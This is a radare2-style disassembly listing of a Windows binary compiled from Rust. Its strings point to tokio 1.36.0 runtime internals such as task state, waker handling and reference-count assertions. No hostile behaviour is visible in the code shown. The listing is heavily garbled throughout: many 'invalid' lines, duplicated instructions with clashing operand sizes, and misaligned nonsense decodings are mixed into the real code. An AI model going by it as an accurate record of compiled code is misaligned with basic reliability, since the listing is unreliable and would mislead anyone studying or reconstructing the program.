mov edx, 0x27
call fcn.140108350
int3
add rsp, 0x90
pop rbx
pop rdi
pop rsi
ret
add eax, 0xe0f9f
mov edx, 0x23
call fcn.140108350
lea rcx, str.assertion_failed:__prev.is_complete__
lea r8, [0x14014de88]
mov edx, 0x25
call fcn.140108350
invalid
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x28]
mov qword [rsp + 0x60], rax
lea rax, [fcn.140012f00]
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], rax
lea rax, str.current:___sub:
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 2
mov qword [rsp + 0x50], 0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 2
lea rdx, [0x14014ded0]
lea rcx, [rsp + 0x30]
and al, 0x30
and al, 0x30
call fcn.140108280
lea rax, str.waker_missing
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x40], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x30]
xor al, ch
invalid
mov bl, 9
add ah, cl
xor al, ch
adc dh, byte [rbx - 0x3333fff7]
push r14
push rsi
push rdi
push rbx
sub rsp, 0xa8
test al, 0
add byte [rax], al
test al, 0
add byte [rax], al
movaps xmmword [rsp + 0x90], xmm6
mov rsi, rcx
mov rax, qword [rcx]
mov eax, dword [rcx]
mov eax, dword [rcx]
jmp 0x14006cfaa
mov rcx, rax
and rcx, 0xfffffffffffffff8
or rcx, 1
or ecx, 1
or ecx, 1
mov edx, eax
shr dl, 5
and dl, 1
lock cmpxchg qword [rsi], rcx
je 0x14006cfd5
test al, 4
je 0x14006d621
test al, 3
je 0x14006cf90
cmp rax, 0x3f
jbe 0x14006d639
lea rcx, [rax - 0x40]
cmp rcx, 0x40
setb dl
or dl, 2
lock cmpxchg qword [rsi], rcx
jne 0x14006cfaa
movzx eax, dl
lea rcx, [0x140177a7c]
stosb byte [rdi], al
adc byte [rax], al
stosb byte [rdi], al
adc byte [rax], al
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rax, [0x14014e140]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x38], rsi
lea rax, [rsp + 0x30]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x48], eax
mov dword [rsp + 0x48], eax
mov qword [rsp + 0x50], 0
cmp dword [rsi + 0x30], 0xb
jae 0x14006d651
lea rdi, [rsi + 0x30]
mov rbx, qword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
mov dh, 0x80
and byte [rcx], al
add byte [rax], al
cmp eax, 1
je 0x14006d077
xorps xmm6, xmm6
test eax, eax
jne 0x14006d0a3
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
ror dword [rcx - 0x73], 0x8e
rol byte [rax], 1
add byte [rax], al
invalid
ror dword [rcx - 0x73], 0x8e
rol byte [rax], 1
add byte [rax], al
lea rdx, [0x1400e42d0]
lea edx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [r14 + 0x120], 1
mov eax, dword [0x140182314]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rbx
lea rdx, [rsp + 0x40]
push rsp
and al, 0x40
mov rcx, rdi
call fcn.14006b990
mov ecx, dword [0x140182314]
adc dword [rax], eax
adc dword [rax], eax
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
or al, 0xca
movzx ecx, byte [rcx + 0x120]
mov dh, 0x89
and byte [rcx], al
add byte [rax], al
cmp ecx, 1
je case.0x14005cd83.53
test ecx, ecx
jne 0x14006d121
mov ecx, dword [0x140182314]
or eax, 0x11523b
mov rdx, qword gs:[0x58]
mov r14, qword [rdx + rcx*8]
xor al, 0xca
xor al, 0xca
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e42d0]
mov ebx, eax
call fcn.1400d4a00
mov eax, ebx
mov byte [r14 + 0x120], 1
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
movups xmmword [rcx + 0xf0], xmm6
lock add byte [rax], al
invalid
lock add byte [rax], al
add byte [rcx + 0xfc08401], dh
test byte [rdx], cl
add al, byte [rax]
add byte [rax - 0x77], cl
add byte [rax], al
mov cl, 1
test al, al
je 0x14006d333
mov rcx, rsi
mov ecx, esi
int1
call fcn.1400e6d10
movzx eax, al
lea rcx, [0x140177a8c]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rcx, qword [rsi + 0x20]
mov rdx, rsi
call fcn.1400eabe0
mov rax, 0xffffffffffffffc0
invalid
push rax
xadd qword [rsi], rax
invalid
cmp rax, 0x3f
jbe 0x14006d689
invalid
invalid
invalid
add byte [rax - 0x7d], cl
loopne 0x14006d12a
and rax, 0xffffffffffffffc0
cmp rax, 0x40
cmp eax, 0x40
jne case.0x14006d142.0
lea rcx, [rsi + 0x20]
lea ecx, [rsi + 0x20]
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x14006d186
call fcn.1400396d0
dec dword [rax - 0x77]
stc
mov rcx, rdi
jmp 0x14006d1a2
call fcn.14006cba0
mov rax, qword [rsi + 0x1f8]
test rax, rax
je 0x14006d1bd
mov rcx, qword [rsi + 0x200]
call qword [rax + 0x18]
mov es, word [rax]
add al, byte [rax]
add bh, bh
push rax
sbb byte [rbx + rcx*4 + 0x46], cl
clc
mov r8, qword [rsi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp case.0x14006d142.0
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14006d22c
xorps xmm6, xmm6
test eax, eax
jne 0x14006d258
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [rbx + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rdi
lea rdi, [rsi + 0x30]
mov rcx, rdi
call fcn.14006cba0
mov qword [rsi + 0x30], 0xc
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14006d2c0
test eax, eax
jne 0x14006d4f3
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [rbx + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
mov rbx, qword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rbx
mov rcx, rdi
call fcn.14006cba0
mov qword [rsi + 0x30], 0xb
mov qword [rsi + 0x38], 1
mov qword [rsi + 0x40], 0
mov qword [rsi + 0x50], rbx
jmp 0x14006d46c
mov rbx, qword [rsi + 0x28]
cmp cl, 1
je 0x14006d374
movzx eax, cl
xorps xmm6, xmm6
test eax, eax
jne 0x14006d3a0
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [r14 + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
ror dword [rdi], 0x10
mov al, pe_nt_image_headers64
lock add byte [rax], al
add byte [rax - 0x39], cl
xor al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
invalid
ror dword [rdi], 0x10
mov al, pe_nt_image_headers64
lock add byte [rax], al
lock add byte [rax], al
add byte [rax - 0x39], cl
xor al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rax + 0xf8], rbx
mov dword [rax + 0xf8], ebx
add byte [rax], al
mov rcx, rdi
call fcn.14006cba0
mov qword [rdi], 0xc
add byte [rbx + 0x114f5f05], cl
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
add byte [rbx + 0x114f5f05], cl
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14006d403
test eax, eax
jne 0x14006d53e
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [rbx + 0x120], 1
and byte [rcx], al
add byte [rax], al
invalid
and byte [rcx], al
add byte [rax], al
add dword [rbx + 0x114f0b05], ecx
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
pop rax
add byte [rax], al
invalid
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
pop rax
add byte [rax], al
invalid
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
mov rbx, qword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
adc byte [rax + 0xf0], dh
adc byte [rax + 0xf0], dh
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rbx
clc
add byte [rax], al
invalid
clc
add byte [rax], al
add byte [rax - 0x77], cl
mov ecx, edi
mov rcx, rdi
mov ecx, edi
call fcn.14006cba0
mov qword [rsi + 0x30], 0xb
xorps xmm0, xmm0
push rdi
ror byte [rdi], 0x11
cmp byte [rax - 0x39], r9b
add byte [rax], al
add byte [rax], al
push rdi
ror byte [rdi], 0x11
cmp byte [rax - 0x39], r9b
add byte [rax], al
add byte [rax], al
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
invalid
movabs byte [0x250c8b486500114e], al
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
invalid
ror dword [rdi], 0xb6
and byte [rax], 1
add byte [rax], al
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14006d4bc
test eax, eax
jne 0x14006d4d6
invalid
mov r8d, dword [0x140182314]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [rdi + 0x120], 1
invalid
mov eax, dword [0x140182314]
push rdx
adc qword [rax], r8
invalid
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
mov rcx, rsi
call fcn.14006dca0
movaps xmm6, xmmword [rsp + 0x90]
add rsp, 0xa8
pop rbx
pop rdi
pop rsi
pop r14
ret
mov rbx, qword [rsi + 0x28]
cmp eax, 1
add dword [rdi], ecx
test dh, bl
std
invalid
invalid
add dword [rdi], ecx
test dh, bl
std
invalid
xorps xmm6, xmm6
test eax, eax
jne 0x14006d30a
invalid
invalid
invalid
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
add byte [rbx + rcx*4 + 0x34], cl
ror dword [rcx - 0x73], 0x8e
rol byte [rax], 1
add byte [rax], al
add byte [rbx + rcx*4 + 0x34], cl
ror dword [rcx - 0x73], 0x8e
rol byte [rax], 1
add byte [rax], al
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [r14 + 0x120], 1
jmp 0x14006d2de
insd dword [rdi], dx
invalid
mov rbx, qword [rsi + 0x28]
cmp eax, 1
je case.0x140050c3f.93
xorps xmm6, xmm6
test eax, eax
jne 0x14006d44d
mov eax, dword [0x140182314]
adc qword [r8], r8
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [r14 + 0x120], 1
jmp case.0x140050c3f.93
lea rcx, str.assertion_failed:_next.is_notified__C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_task_state.rs
lea r8, [0x14014ddc8]
mov edx, 0x24
call fcn.140108350
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x14014e128]
mov edx, 0x26
call fcn.140108350
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
lea rax, [rsp + 0x28]
mov qword [rsp + 0x70], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x60]
call fcn.140108280
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014e060]
mov edx, 0x27
call fcn.140108350
int3
jo 0x14006e875
test dword [rdx], ebx
add al, byte [rax]
add byte [rcx - 0x7d], cl
jle 0x14006e8c7
add byte [rdi], cl
test byte [rdi], cl
add al, byte [rax]
add byte [rcx - 0x75], cl
invalid
xor r9d, r9d
mov qword [rsp + 0x50], r9
pcmpeqd xmm1, xmm1
mov dword [rsp + 0x68], r8d
and rax, rdx
movdqu xmm2, xmmword [rcx + rax]
movdqa xmm3, xmm2
pcmpeqb xmm3, xmm0
pmovmskb ebp, xmm3
test ebp, ebp
jne 0x14006e94f
pcmpeqb xmm2, xmm1
pmovmskb ebx, xmm2
test ebx, ebx
mov rbx, qword [rsp + 0x28]
mov r14, qword [rsp + 0x70]
jne 0x14006ea85
mov r9, qword [rsp + 0x50]
add rax, r9
add rax, 0x10
add r9, 0x10
mov qword [rsp + 0x50], r9
jmp 0x14006e8d8
test bl, bl
je 0x14006fc7f
lea ebp, [r14 - 1]
and ebp, r14d
test bp, bp
mov rcx, rdx
mov rdx, r9
mov r8d, dword [rsp + 0x68]
je 0x14006e8f0
mov r14d, ebp
tzcnt ebx, r14d
add rbx, rax
mov r9, rdx
and rbx, rdx
neg rbx
lea rbx, [rbx + rbx*8]
mov rdx, rcx
lea r15, [rcx + rbx*8]
cmp r8d, 1
je 0x14006ea00
cmp r8d, 2
jne 0x14006fc7f
movzx ebx, byte [r15 - 0x48]
cmp bl, 2
jne 0x14006e930
mov rcx, qword [rsp + 0x38]
mov r12, qword [rcx + 0x10]
mov rbx, qword [r15 - 0x40]
cmp r12, qword [rbx + 0x10]
jne 0x14006e938
mov rcx, qword [rsp + 0x38]
mov r13, qword [rcx + 8]
mov rbp, qword [rbx + 8]
xor ebx, ebx
nop
cmp r12, rbx
je 0x14006ea2b
movzx r11d, byte [r13 + rbx]
movzx r10d, byte [rbp + rbx]
inc rbx
lea ecx, [r11 - 0x41]
cmp cl, 0x1a
setb cl
shl cl, 5
lea r8d, [r10 - 0x41]
cmp r8b, 0x1a
setb r8b
shl r8b, 5
or cl, r11b
or r8b, r10b
cmp cl, r8b
je 0x14006e9b0
jmp 0x14006e938
nop dword [rax + rax]
movzx ebx, byte [r15 - 0x48]
cmp bl, 1
sti
invalid
sti
add dword [rdi], ecx
invalid
test dword [rdx], esp
invalid
jne 0x14006e930
movzx ebx, byte [r15 - 0x47]
cmp byte [rsp + 0x58], 0
je 0x14006ea23
mov ecx, 0x58247c80
add byte [rcx + rcx - 0x7c], dh
invalid
test bl, bl
jne 0x14006ea2b
jmp 0x14006e938
test bl, bl
jne 0x14006e938
cmp rdi, qword [r15 - 0x28]
jne 0x14006e938
mov r15, qword [r15 - 0x30]
xor ebx, ebx
nop dword [rax + rax]
cmp rdi, rbx
je 0x14006f06e
movzx ecx, byte [rsi + rbx]
movzx r8d, byte [r15 + rbx]
inc rbx
lea r10d, [rcx - 0x41]
cmp r10b, 0x1a
setb r10b
shl r10b, 5
lea r11d, [r8 - 0x41]
cmp r11b, 0x1a
setb r11b
shl r11b, 5
or r10b, cl
or r11b, r8b
cmp r10b, r11b
je 0x14006ea40
jmp 0x14006e938
mov rax, qword [rsp + 0x60]
mov rcx, qword [rax + 0x30]
mov ecx, dword [rax + 0x30]
mov ecx, dword [rax + 0x30]
mov qword [rsp + 0x130], rcx
movdqu xmm0, xmmword [rax]
movdqu xmm1, xmmword [rax + 0x10]
movdqu xmm2, xmmword [rax + 0x20]
movdqa xmmword [rsp + 0x120], xmm2
movdqa xmmword [rsp + 0x110], xmm1
movdqa xmmword [rsp + 0x100], xmm0
lea rcx, [r14 + 0x70]
mov qword [rsp + 0x188], rcx
mov rdx, rbx
call fcn.14006df80
test rax, rax
je 0x14006f0c2
mov r15, rax
mov rax, qword [rax + 0x18]
test rax, rax
je 0x14006f087
xor esi, esi
jmp 0x14006eb6d
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x100], rax
mov qword [rsp + 0x108], r14
mov byte [rsp + 0x110], sil
mov eax, dword [rsp + 0x40]
mov ecx, dword [rsp + 0x43]
lea rdx, [rsp + 0x132]
mov dword [rdx - 0x1e], ecx
mov dword [rdx - 0x21], eax
mov qword [rsp + 0x118], rbp
mov qword [rsp + 0x120], rdi
mov qword [rsp + 0x128], rbx
movzx eax, byte [rsp + 0x38]
mov byte [rsp + 0x130], al
mov byte [rsp + 0x131], r12b
movzx eax, word [rsp + 0x34]
mov word [rdx + 4], ax
mov eax, dword [rsp + 0x30]
mov dword [rdx], eax
xor esi, esi
mov rax, qword [r15 + 0x18]
test rax, rax
je 0x14006f087
mov rcx, qword [r15 + 0x10]
lea rdx, [rcx + 1]
mov r8, qword [r15]
mov r9, qword [r15 + 8]
cmp rdx, r8
cmovb r8, rsi
neg r8
lea rdx, [rcx + r8]
inc rdx
mov qword [r15 + 0x10], rdx
dec rax
mov qword [r15 + 0x18], rax
mov r13, qword [r9 + rcx*8]
movzx eax, byte [r13 + 0x80]
test al, al
je 0x14006ec00
mov al, 1
xchg byte [r13 + 0x80], al
mov al, 1
xchg byte [r13 + 0x60], al
test al, al
jne 0x14006ebdc
mov rax, qword [r13 + 0x50]
mov rcx, qword [r13 + 0x58]
mov qword [r13 + 0x50], 0
mov edx, 0
xchg byte [r13 + 0x60], dl
test rax, rax
je 0x14006ebdc
call qword [rax + 8]
mov al, 1
xchg byte [r13 + 0x78], al
test al, al
je 0x14006ecb0
lock dec qword [r13]
jne 0x14006eb60
jmp 0x14006ecd9
mov qword [rsp + 0x78], r14
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x60], rbp
movzx r12d, byte [rsp + 0x131]
mov byte [rsp + 0x131], 2
cmp r12b, 2
je 0x14006fc9e
mov r9, qword [rsp + 0x100]
mov r14, qword [rsp + 0x108]
movzx esi, byte [rsp + 0x110]
mov rbp, qword [rsp + 0x118]
mov rdi, qword [rsp + 0x120]
mov rbx, qword [rsp + 0x128]
movzx r11d, byte [rsp + 0x130]
cmp sil, 2
jne 0x14006ece6
mov byte [rsp + 0x170], r11b
mov byte [rsp + 0x178], sil
test rbp, rbp
je 0x14006ed4e
mov rcx, rbp
mov esi, r12d
mov r12, r9
call qword [rdi + 0x18]
mov r9, r12
mov r12d, esi
lock inc qword [rbx]
jg 0x14006ed5a
jmp 0x14006fc97
add byte [rax], al
add byte [rax], al
mov rax, qword [r13 + 0x68]
mov rcx, qword [r13 + 0x70]
mov qword [r13 + 0x68], 0
test rax, rax
je 0x14006ecc8
call qword [rax + 0x18]
xor eax, eax
xchg byte [r13 + 0x78], al
lock dec qword [r13]
jne 0x14006eb60
mov rcx, r13
call fcn.140066b70
jmp 0x14006eb60
lea r8, [rsp + 0x132]
movzx eax, word [r8 + 4]
mov word [rsp + 0x144], ax
mov ecx, dword [r8]
mov dword [rsp + 0x140], ecx
mov edx, dword [r8 - 0x21]
mov r8d, dword [r8 - 0x1e]
mov dword [rsp + 0x80], edx
mov dword [rsp + 0x83], r8d
mov edx, dword [rsp + 0x80]
mov r8d, dword [rsp + 0x83]
mov dword [rsp + 0x190], edx
mov dword [rsp + 0x193], r8d
mov dword [rsp + 0xf8], ecx
mov word [rsp + 0xfc], ax
jmp 0x14006eddc
xor eax, eax
lock inc qword [rbx]
jle 0x14006fc97
lock inc qword [r9]
movzx esi, byte [rsp + 0x178]
movzx r11d, byte [rsp + 0x170]
jle 0x14006fc97
lock inc qword [r14 + 0x1c8]
lock inc qword [r14]
jle 0x14006fc97
lea r8, [rsp + 0x132]
movzx ecx, word [r8 + 4]
mov word [rsp + 0x144], cx
mov ecx, dword [r8]
mov dword [rsp + 0x140], ecx
mov qword [rsp + 0x118], rbp
mov qword [rsp + 0x120], rdi
mov qword [rsp + 0x128], rbx
mov byte [rsp + 0x130], r11b
mov byte [rsp + 0x110], 2
mov byte [rsp + 0x131], r12b
mov rbp, rax
mov rdi, rdx
mov eax, dword [rsp + 0x190]
mov ecx, dword [rsp + 0x193]
mov dword [rsp + 0x80], eax
mov dword [rsp + 0x83], ecx
mov eax, dword [rsp + 0xf8]
mov dword [rsp + 0x140], eax
movzx eax, word [rsp + 0xfc]
and al, 0xfc
add byte [rax], al
add byte [rsi - 0x77], ah
test byte [rsp + rax*2], ah
add dword [rax], eax
add byte [rcx + 0xf], al
mov dh, 0x85
add byte [rax], 0
invalid
test al, al
jne 0x14006ee30
and al, 0xfc
add byte [rax], al
add byte [rsi - 0x77], ah
test byte [rsp + rax*2], ah
add dword [rax], eax
add byte [rcx + 0xf], al
mov dh, 0x85
add byte [rax], 0
add byte [rax + rax*8 + 0x1b00e75], al
mov al, 1
xchg byte [r13 + 0x48], al
test al, al
je 0x14006ef41
mov eax, dword [rsp + 0x80]
mov ecx, dword [rsp + 0x83]
mov dword [rsp + 0x43], ecx
and al, 0x43
and al, 0x43
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x140]
mov dword [rsp + 0x30], eax
and al, 0x30
and al, 0x30
xor byte [rdi], cl
mov bh, 0x84
and al, 0x44
add dword [rax], eax
add byte [rsi - 0x77], ah
mov dword [rsp + 0x34], eax
movzx eax, word [rsp + 0x144]
mov word [rsp + 0x34], ax
mov dword [rsp + 0x34], eax
mov dword [rsp + 0x34], eax
mov byte [rsp + 0x38], r11b
mov qword [rsp + 0x68], r9
mov al, 1
xchg byte [r13 + 0x80], al
mov al, 1
xchg byte [r13 + 0x60], al
test al, al
jne 0x14006ee9c
mov rax, qword [r13 + 0x50]
mov rcx, qword [r13 + 0x58]
mov qword [r13 + 0x50], 0
mov edx, 0
xchg byte [r13 + 0x60], dl
test rax, rax
je 0x14006ee9c
call qword [rax + 8]
mov al, 1
xchg byte [r13 + 0x78], al
test al, al
je 0x14006eee3
lock dec qword [r13]
je 0x14006ef08
movzx ecx, byte [rsp + 0x131]
cmp r12b, 2
mov byte [rsp + 0x138], sil
jne 0x14006ef26
mov rax, qword [r15 + 0x18]
cmp cl, 2
je 0x14006f082
test rax, rax
mov esi, 0
jne 0x14006eb6d
jmp 0x14006f087
mov rax, qword [r13 + 0x68]
mov rcx, qword [r13 + 0x70]
mov qword [r13 + 0x68], 0
test rax, rax
je 0x14006eefb
call qword [rax + 0x18]
xor eax, eax
xchg byte [r13 + 0x78], al
lock dec qword [r13]
jne 0x14006eead
mov rcx, r13
call fcn.140066b70
movzx ecx, byte [rsp + 0x131]
cmp r12b, 2
mov byte [rsp + 0x138], sil
je case.0x14001a5bd.1923
cmp cl, 2
je 0x14006eaf0
lea rcx, [rsp + 0x100]
call fcn.140066be0
jmp 0x14006eaf0
cmp byte [r13 + 0x41], 2
jne 0x14006fcb6
mov qword [r13 + 0x10], r9
mov qword [r13 + 0x18], r14
mov byte [r13 + 0x20], sil
mov eax, dword [rsp + 0x80]
mov ecx, dword [rsp + 0x83]
mov dword [r13 + 0x21], eax
mov dword [r13 + 0x24], ecx
mov qword [r13 + 0x28], rbp
mov qword [r13 + 0x30], rdi
mov qword [r13 + 0x38], rbx
mov byte [r13 + 0x40], r11b
mov byte [r13 + 0x41], r12b
mov eax, dword [rsp + 0x140]
mov dword [r13 + 0x42], eax
movzx eax, word [rsp + 0x144]
mov word [r13 + 0x46], ax
xor eax, eax
xchg byte [r13 + 0x48], al
movzx eax, byte [r13 + 0x80]
mov r12b, 2
test al, al
je 0x14006eff7
mov al, 1
xchg byte [r13 + 0x48], al
test al, al
mov rbp, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x50]
mov r14, qword [rsp + 0x78]
movzx esi, byte [rsp + 0x138]
jne 0x14006ee68
movzx r12d, byte [r13 + 0x41]
mov byte [r13 + 0x41], 2
cmp r12b, 2
jne 0x14006f018
xor eax, eax
xchg byte [r13 + 0x48], al
mov r12b, 2
jmp 0x14006ee68
mov rbp, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x50]
mov r14, qword [rsp + 0x78]
movzx esi, byte [rsp + 0x138]
jmp 0x14006ee68
lea rax, [r13 + 0x21]
lea rcx, [r13 + 0x42]
mov rdx, qword [r13 + 0x10]
mov qword [rsp + 0x68], rdx
mov r14, qword [r13 + 0x18]
movzx esi, byte [r13 + 0x20]
mov edx, dword [rax]
mov eax, dword [rax + 3]
mov dword [rsp + 0x43], eax
mov dword [rsp + 0x40], edx
mov rbp, qword [r13 + 0x28]
mov rdi, qword [r13 + 0x30]
mov rbx, qword [r13 + 0x38]
movzx eax, byte [r13 + 0x40]
mov byte [rsp + 0x38], al
movzx eax, word [rcx + 4]
mov word [rsp + 0x34], ax
mov eax, dword [rcx]
mov dword [rsp + 0x30], eax
xor eax, eax
xchg byte [r13 + 0x48], al
jmp 0x14006ee68
mov rcx, qword [rsp + 0x60]
call fcn.140066be0
mov rbx, qword [rsp + 0x28]
jmp 0x14006faa5
test rax, rax
jne 0x14006f0c2
lea rcx, [rsp + 0x80]
mov rdx, qword [rsp + 0x188]
mov r8, qword [rsp + 0x28]
call fcn.14006e200
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x80], rax
je 0x14006f0c2
lea rcx, [rsp + 0x80]
call fcn.140066980
cmp byte [rsp + 0x131], 2
mov rbx, qword [rsp + 0x28]
je 0x14006faa5
mov rax, qword [rsp + 0x130]
mov qword [rsp + 0x1c0], rax
movaps xmm0, xmmword [rsp + 0x100]
movdqa xmm1, xmmword [rsp + 0x110]
movdqa xmm2, xmmword [rsp + 0x120]
movdqa xmmword [rsp + 0x1b0], xmm2
movdqa xmmword [rsp + 0x1a0], xmm1
movaps xmmword [rsp + 0x190], xmm0
movzx esi, byte [rbx]
test esi, esi
je 0x14006f164
cmp esi, 2
mov rdi, qword [rsp + 0x70]
jne 0x14006f16b
movzx eax, byte [0x140182310]
mov edx, 0x20
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x14006fcce
mov r14, rax
mov rax, qword [rbx + 8]
lea rdx, [rax + 0x18]
mov r10, qword [rax]
mov r8, qword [rax + 8]
mov r9, qword [rax + 0x10]
mov rcx, r14
call qword [r10]
jmp 0x14006f16f
mov rdi, qword [rsp + 0x70]
jmp 0x14006f16f
movzx eax, byte [rbx + 1]
mov byte [rsp + 0x80], sil
mov byte [rsp + 0x81], al
mov qword [rsp + 0x88], r14
lea rcx, [rsp + 0x90]
lea rdx, [rbx + 0x28]
mov rax, qword [rbx + 0x10]
mov r8, qword [rbx + 0x18]
mov r9, qword [rbx + 0x20]
call qword [rax]
lea rax, [rdi + 0x40]
mov qword [rsp + 0x78], rax
mov rcx, qword [rdi + 0x60]
mov rdx, qword [rdi + 0x68]
lea r8, [rsp + 0x80]
call fcn.14006e5b0
mov rdx, rax
shr rdx, 0x39
mov rcx, qword [rdi + 0x40]
mov r10, qword [rdi + 0x48]
mov rbp, r10
mov qword [rsp + 0x170], rax
and rbp, rax
mov qword [rsp + 0x138], rdx
movd xmm0, edx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm0, xmm0, 0
movzx eax, byte [rsp + 0x80]
movzx edx, byte [rsp + 0x81]
mov byte [rsp + 0x50], dl
mov byte [rsp + 0x60], al
movzx eax, al
mov dword [rsp + 0x38], eax
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x58], rax
mov r15, qword [rsp + 0x98]
xor edx, edx
mov r13, qword [rsp + 0xa0]
pcmpeqd xmm1, xmm1
mov qword [rsp + 0x178], rbp
mov qword [rsp + 0x68], r10
movdqu xmm2, xmmword [rcx + rbp]
movdqa xmm3, xmm2
pcmpeqb xmm3, xmm0
